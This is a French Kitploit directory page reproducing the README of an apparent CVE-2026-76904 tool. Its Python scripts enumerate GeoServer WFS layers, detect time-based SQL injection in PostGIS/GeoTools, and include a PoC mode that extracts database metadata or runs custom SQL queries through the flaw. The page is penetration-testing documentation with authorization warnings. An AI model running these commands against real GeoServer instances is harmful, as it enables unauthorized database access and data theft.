Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-76904 — Scripts Python pour inventorier les points de terminaison WFS de GeoServer et vérifier les vulnérabilités d'injection SQL basée sur le temps dans PostGIS/GeoTools, avec un mode PoC dédié pour les tests autorisés. | Kitploit
Outils/GitHubGitHub/bickzero93/cve-2026-76904
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'Intrusion
GitHubbickzero93/cve-2026-76904

CVE-2026-76904

Scripts Python pour inventorier les points de terminaison WFS de GeoServer et vérifier les vulnérabilités d'injection SQL basée sur le temps dans PostGIS/GeoTools, avec un mode PoC dédié pour les tests autorisés.

Voir le dépôt
9il y a 19 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Inventaire GeoServer WFS et vérification autorisée

Ce dépôt contient deux scripts Python pour l'examen des points de terminaison WFS de GeoServer.

Aperçu

wfs_inventory.py

Objectif : Inventorier les couches, les champs XSD et les valeurs WFS, et vérifier facultativement les candidats via un contrôle basé sur le temps.

Exemples d'exécution :

root@kitploit:~
python3 wfs_inventory.py --url https://HOST --valid-fields 4
root@kitploit:~
python3 wfs_inventory.py --url https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5 --candidate-scope auto --timing-result-type auto
root@kitploit:~
python3 wfs_inventory.py --url https://HOST --layer namespace:layer --sleep 1 --confirm-sleep 5 --valid-diagnose output.txt

geoserver_sqli_working.py

Objectif : Point d'entrée combiné pour l'inventaire ainsi qu'un mode PoC séparé.

Exemples d'exécution :

root@kitploit:~
python3 geoserver_sqli_working.py --target https://HOST --valid-fields 4 --sleep 1 --confirm-sleep 5
root@kitploit:~
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5
root@kitploit:~
python3 geoserver_sqli_working.py --target https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD --sleep 5 --query "SELECT current_database()"

Remarque importante : Le contrôle basé sur le temps et le mode PoC ne doivent être utilisés que contre des systèmes pour lesquels une autorisation de test explicite a été accordée. Le mode d'inventaire normal n'utilise que des opérations WFS régulières.

Prérequis

  • Python 3.10 ou plus récent
  • Aucun paquet Python supplémentaire ; les deux scripts n'utilisent que la bibliothèque standard
  • Accès réseau au point de terminaison WFS

Rendre facultativement exécutable :

root@kitploit:~
chmod +x wfs_inventory.py geoserver_sqli_working.py

Démarrage rapide

Rechercher des candidats via des requêtes WFS régulières

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4

Le chemin standard /geoserver/wfs est ajouté automatiquement. Les indications suivantes sont donc équivalentes :

root@kitploit:~
https://HOST
https://HOST/geoserver
https://HOST/geoserver/wfs

En cas d'installation différente, le chemin WFS complet doit être spécifié.

Vérifier les candidats avec un contrôle basé sur le temps

Uniquement pour les systèmes explicitement autorisés :

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4 \
  --sleep 1

Pendant le contrôle, une mesure par candidat apparaît sur stderr :

root@kitploit:~
[sleep-check] phase=screen typeName=namespace:layer field_name=FIELD resultType=hits baseline=0.120s test=1.128s delta=1.008s passed=true
[sleep-check] phase=confirm typeName=namespace:layer field_name=FIELD resultType=hits requested=3s baseline=0.118s test=3.125s delta=3.007s vulnerable=true

Un écran réussi n'est pas encore un résultat positif. Ce n'est que si la deuxième mesure, plus longue, réussit également qu'un bloc de paramètres est émis.

Écrire le diagnostic dans un fichier

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4 \
  --sleep 1 \
  --valid-diagnose output.txt

--valid-diagnose FILE active automatiquement le diagnostic détaillé et l'écrit dans le fichier spécifié.

Déroulement du mode automatique

Le mode standard auto traite les informations WFS dans cet ordre :

  1. GetCapabilities est ouvert une fois :

    root@kitploit:~
    /geoserver/wfs?service=WFS&acceptVersions=2.0.0&request=GetCapabilities
    
  2. La réponse XML est diffusée en continu. Dès qu'un FeatureType/Name est trouvé, le prochain typeName est déterminé.

  3. Pour cette couche, DescribeFeatureType est immédiatement exécuté avec version=2.0.0.

  4. Le script extrait les éléments XSD et sélectionne les champs chaîne/JSON avec un nom ressemblant à un ID ou à un numéro.

  5. Le candidat est vérifié en fonction de l'appel :

    • Sans --sleep : les valeurs d'échantillon doivent être du JSON syntaxiquement valide.
    • Avec --sleep N : une requête de contrôle et une requête de vérification basée sur le temps sont mesurées. La vérification de la valeur JSON est alors ignorée.
  6. Le résultat est immédiatement émis et vidé.

  7. Ce n'est qu'ensuite que le typeName suivant est lu depuis la réponse GetCapabilities en cours.

Ainsi, une grande réponse GetCapabilities n'a pas besoin d'être entièrement traitée avant que le premier résultat n'apparaisse.

Critères pour les candidats de champ

Sans --sleep, le mode automatique prend en compte par défaut les champs chaîne/JSON avec un nom ressemblant à un ID ou à un numéro.

Avec --sleep, --candidate-scope auto utilise en revanche tous les champs simples non géométriques. Le type XSD et le modèle de nom d'ID ne bloquent alors plus le contrôle de synchronisation. Cela évite les faux négatifs pour les types XSD numériques, date/booléen ou spécifiques au fabricant.

Les modèles de noms reconnus incluent :

root@kitploit:~
id
*_id
*_fid
nr_*
*_nr
*nummer*
fid
uuid
guid
key
objectid

Lors du contrôle basé sur le temps, le nom de champ doit en outre être un identifiant simple au format [A-Za-z_][A-Za-z0-9_]*.

Différence entre la vérification JSON et la vérification par sommeil

Sans --sleep, on vérifie si les valeurs observées peuvent être interprétées syntaxiquement comme du JSON. C'est pourquoi, par exemple, la chaîne "383205" est également considérée comme un candidat, car son contenu représente un nombre JSON valide. Cette vérification est une heuristique et non une preuve de vulnérabilité.

Avec --sleep 1, seule la mesure du temps décide. Un candidat est considéré comme positif par défaut si la requête de vérification nécessite au moins 70 pour cent du temps de sommeil demandé en plus par rapport à la requête de contrôle. --timing-result-type auto vérifie d'abord resultType=hits et, en cas de résultat négatif, ensuite resultType=results.

Les mesures provisoirement positives sont obligatoirement confirmées avec un temps de sommeil plus long. Sans --confirm-sleep explicite, le script utilise max(3, --sleep * 3), limité à 10 secondes. Ainsi, un pic de latence unique avec --sleep 1 ne conduit plus à vulnerable=true.

Sortie compacte

La sortie standard contient un bloc par couche valide :

root@kitploit:~
typeName=namespace:layer
field_name1=FIELD_A
parameter_string1=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_A
field_name2=FIELD_B
parameter_string2=https://HOST/geoserver/wfs --typename namespace:layer --field_name FIELD_B

parameter_stringN contient le point de terminaison WFS normalisé et les valeurs appropriées pour --typename et --field_name.

--valid-fields N compte les blocs de couches, pas les champs individuels. S'il existe moins de N couches valides, le reste du catalogue est examiné plus avant. Avec --max-layers, la durée d'exécution maximale peut être limitée.

Diagnostic détaillé

Les options --diagnose ou --valid-diagnose FILE ajoutent entre autres :

  • le point de terminaison WFS normalisé,
  • l'URL GetCapabilities utilisée,
  • l'URL DescribeFeatureType,
  • les types de champs XSD,
  • les marqueurs d'ID et d'utilisabilité,
  • le nombre d'échantillons vérifiés,
  • la compatibilité JSON ou les valeurs de mesure de synchronisation,
  • l'URL GetFeature générée et
  • les chaînes de paramètres copiables.

Exemple :

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 10 \
  --valid-diagnose diagnose.txt

Autres modes d'inventaire

Lister toutes les couches

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode layers

Limiter à un espace de noms :

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode layers \
  --namespace fink

Afficher les champs XSD d'une couche

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode fields \
  --layer namespace:layer

Chaque champ est émis sous forme d'objet JSON avec le nom, le type XSD, nillable, id_candidate et usable_property.

Exporter les valeurs des champs sélectionnés

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode values \
  --layer namespace:layer \
  --field FIELD_A \
  --field FIELD_B \
  --max-features 100 \
  --format jsonl \
  --output values.jsonl

Exporter toutes les propriétés :

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --mode values \
  --layer namespace:layer \
  --all-properties \
  --max-features 100

Avec --unique, les combinaisons identiques de valeurs de champs sélectionnées ne sont émises qu'une seule fois.

Paramètres de wfs_inventory.py

ParamètreDéfautSignification
--url URLrequisHôte, base GeoServer ou point de terminaison WFS complet
--mode auto|layers|fields|valuesautoMode de fonctionnement à exécuter
--layer NAMESPACE:LAYER–Limiter le mode automatique à un type d'entité ; requis pour fields et values
--namespace PREFIX–Ne considérer que les couches de ce préfixe d'espace de noms
--capabilities-file FILE–Utiliser une réponse GetCapabilities locale au lieu d'un téléchargement
--field NAMErépétablePropriété à exporter en mode values
--all-propertiesdésactivéExporter toutes les propriétés en mode values
--uniquedésactivéSupprimer les combinaisons de valeurs de champs en double
--page-size N500Entités par page GetFeature ; plage de 1 à 5000
--sample-size N5Valeurs d'échantillon par couche pour la vérification de syntaxe JSON ; plage de 1 à 100
--sleep SECONDS0Activer la vérification basée sur le temps ; 0 ou 1 à 10 secondes autorisés
--candidate-scope auto|id|allautoSélection des candidats ; auto utilise les champs ID sans sommeil et tous les champs non géométriques avec sommeil
--timing-result-type auto|hits|resultsautoChemin de requête du contrôle de synchronisation ; auto essaie hits, puis results

Point d'entrée combiné

geoserver_sqli_working.py peut appeler directement la fonction d'inventaire. Dès que --valid-fields est spécifié, seul l'inventaire est exécuté et le programme se termine ensuite.

Inventaire via le script combiné

root@kitploit:~
python3 geoserver_sqli_working.py \
  --target https://HOST \
  --valid-fields 4 \
  --sleep 1 \
  --valid-diagnose output.txt

Les paramètres suivants sont transmis en interne à wfs_inventory.py :

root@kitploit:~
--target         -> --url
--valid-fields   -> --valid-fields
--valid-diagnose -> --valid-diagnose
--sleep          -> --sleep
--candidate-scope -> --candidate-scope
--timing-result-type -> --timing-result-type
--sleep-threshold -> --sleep-threshold
--confirm-sleep -> --confirm-sleep

Sans --sleep explicite, le contrôle basé sur le temps reste désactivé en mode inventaire.

Mode PoC séparé

Uniquement pour les systèmes de test explicitement autorisés :

root@kitploit:~
python3 geoserver_sqli_working.py \
  --target https://HOST/geoserver/wfs \
  --typename namespace:layer \
  --field_name FIELD \
  --sleep 5

En mode PoC, le chemin cible n'est pas normalisé automatiquement. Ici, le point de terminaison WFS complet doit être spécifié.

Le mode exécute d'abord un test de référence/sommeil, teste ensuite les variantes Oracle basées sur le temps existantes et, en cas de confirmation réussie, lit par défaut les métadonnées du serveur/base de données. Avec --query, une requête scalaire personnalisée peut être spécifiée à la place.

Le mode PoC désactive actuellement la vérification du certificat TLS en interne. Pour un inventaire pur, wfs_inventory.py doit être préféré, car TLS y est vérifié par défaut.

Paramètres de geoserver_sqli_working.py

ParamètreDéfautSignification
--target URLrequisHôte cible ou point de terminaison WFS ; utiliser le chemin WFS complet en mode PoC
--typename NAMEfink_bku:fink_meta_mitte_suedwestType d'entité pour le mode PoC
--field_name NAMErequis en mode PoCNom de champ XSD simple pour jsonArrayContains
--field-name NAMEAliasAlias pour --field_name
--valid-fields N–Activer le mode inventaire et s'arrêter après N couches valides
--valid-diagnose FILE–Écrire le rapport d'inventaire détaillé dans FILE ; nécessite --valid-fields
--sleep SECONDSPoC : 5, inventaire : désactivéDurée de sommeil du mode respectif
--candidate-scope auto|id|allautoSélection des candidats en mode inventaire
--timing-result-type auto|hits|resultsautoChemin de requête de synchronisation en mode inventaire
--sleep-threshold RATIO0.7Seuil de synchronisation en mode inventaire
--confirm-sleep SECONDSautomatiqueSommeil de confirmation en mode inventaire
--query SQL–Requête scalaire personnalisée en mode PoC
--debugdésactivéAfficher les conditions, durées d'exécution et décisions en mode PoC

Rapport JSONL

Le mode automatique peut générer des lignes JSON au lieu de blocs de texte :

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 10 \
  --report-format jsonl \
  --output report.jsonl

Avec --diagnose, chaque enregistrement contient en outre des URL, des métadonnées de candidats, des valeurs de vérification et des URL GetFeature spécifiques aux champs.

Proxy et TLS

Utiliser un proxy :

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --proxy http://127.0.0.1:8080 \
  --valid-fields 4

Approuver son propre CA de proxy :

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --proxy http://127.0.0.1:8080 \
  --proxy-ca proxy-ca.pem \
  --valid-fields 4

Désactiver la vérification TLS pour un système de test autorisé :

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --insecure \
  --valid-fields 4

--proxy-ca et --insecure ne peuvent pas être utilisés ensemble.

Grands catalogues WFS et performances

Pour les grandes réponses GetCapabilities, les options suivantes aident :

root@kitploit:~
python3 wfs_inventory.py \
  --url https://HOST \
  --valid-fields 4 \
  --max-layers 100 \
  --sample-size 1 \
  --timeout 10 \
  --retries 0 \
  --delay 0

Remarques :

  • GetCapabilities n'est demandé qu'une seule fois puis diffusé en continu.
  • --valid-fields 4 ne termine l'analyse qu'après quatre couches valides. S'il existe moins de résultats, la recherche se poursuit jusqu'à la fin ou jusqu'à --max-layers.
  • --sample-size 1 réduit l'effort de l'heuristique JSON.
  • En mode sommeil, l'échantillon JSON est ignoré. Une requête de contrôle et une requête de vérification sont effectuées par chemin de requête. Avec --timing-result-type auto, deux requêtes results supplémentaires sont exécutées après un résultat hits négatif.
  • Un candidat provisoirement positif provoque deux requêtes supplémentaires pour la confirmation à l'échelle. Ce n'est qu'ensuite qu'il est considéré comme vulnérable.
  • --candidate-scope id réduit le nombre de requêtes de synchronisation, mais peut omettre des champs vulnérables avec d'autres noms.
  • --namespace et --start-layer-index peuvent en outre limiter l'espace de recherche.

Dépannage

The read operation timed out

  • Augmenter --timeout si le serveur répond lentement.
  • Définir --retries 0 pour éviter de longues nouvelles tentatives.
  • Utiliser --max-layers et --namespace.
  • Pour l'heuristique JSON, utiliser --sample-size 1.

Aucune sortie

  • Sans --sleep, les candidats doivent réussir la vérification XSD/nom et la vérification de syntaxe JSON selon --candidate-scope.
  • Avec --sleep, seuls les candidats confirmés dans le temps sont émis comme bloc de paramètres ; les mesures négatives apparaissent comme [sleep-check] sur stderr.
  • S'il existe moins de résultats que le nombre souhaité, l'analyse peut continuer longtemps. Dans ce cas, définir --max-layers.

Cannot do natural order without a primary key

Pour la première page GetFeature, le script n'envoie pas startIndex=0, car certaines couches GeoServer/JDBC sans clé primaire imposent déjà un tri naturel de cette manière. Lors de l'exportation de pages supplémentaires, une telle couche peut néanmoins nécessiter une clé primaire ou un tri pris en charge côté serveur.

schema does not define ...Type

Le script prend en compte à la fois le <LayerName>Type habituel et un complexType différent, référencé dans l'élément de couche XSD global ou anonyme. Si l'erreur persiste, la réponse DescribeFeatureType concernée doit être vérifiée avec --diagnose.

HTTP 400 lors de la vérification des échantillons

Le message d'erreur OWS complet est émis sur stderr. Les causes fréquentes sont des propriétés non prises en charge, des spécifications de pagination côté serveur ou une configuration de source de données spécifique à la couche.

Aide directement dans le terminal

root@kitploit:~
python3 wfs_inventory.py --help
python3 geoserver_sqli_working.py --help
Télécharger l’outil
--sleep-threshold RATIO
0.7
Proportion requise du temps de sommeil ; plage de 0.5 à 1.0
--confirm-sleep SECONDS0/automatiqueSommeil de confirmation ; 0 utilise au moins 3× le premier temps de sommeil, plage de 1 à 10
--start-layer-index N0Ignorer les N premières couches diffusées
--max-layers N0Traiter au plus N couches ; 0 signifie illimité
--valid-fields N0S'arrêter après N blocs de couches valides ; 0 signifie illimité
--valid NAliasAlias rétrocompatible pour --valid-fields
--max-features N0S'arrêter après N entités en mode values ; 0 signifie illimité
--format jsonl|csv|textjsonlFormat de sortie en mode values
--output FILEstdoutÉcrire le rapport ou les valeurs dans un fichier
--report-format blocks|jsonlblocksFormat du rapport automatique
--diagnosedésactivéAjouter les URL, types, drapeaux de sélection et statistiques de vérification
--valid-diagnose FILE–Activer le diagnostic et l'écrire directement dans FILE
--delay SECONDS0.1Pause entre les étapes de résultat/vérification
--timeout SECONDS30Délai d'expiration par requête HTTP
--retries N2Nouvelles tentatives après délai d'expiration ou erreur réseau ; plage de 0 à 10
--proxy URL–Proxy HTTP(S), par exemple http://127.0.0.1:8080
--proxy-ca FILE–Certificat CA PEM pour approuver un certificat de proxy
--insecuredésactivéDésactiver la vérification du certificat TLS
--authorization TEXTI_AM_AUTHORIZEDConfirmation de sécurité ; doit être exactement I_AM_AUTHORIZED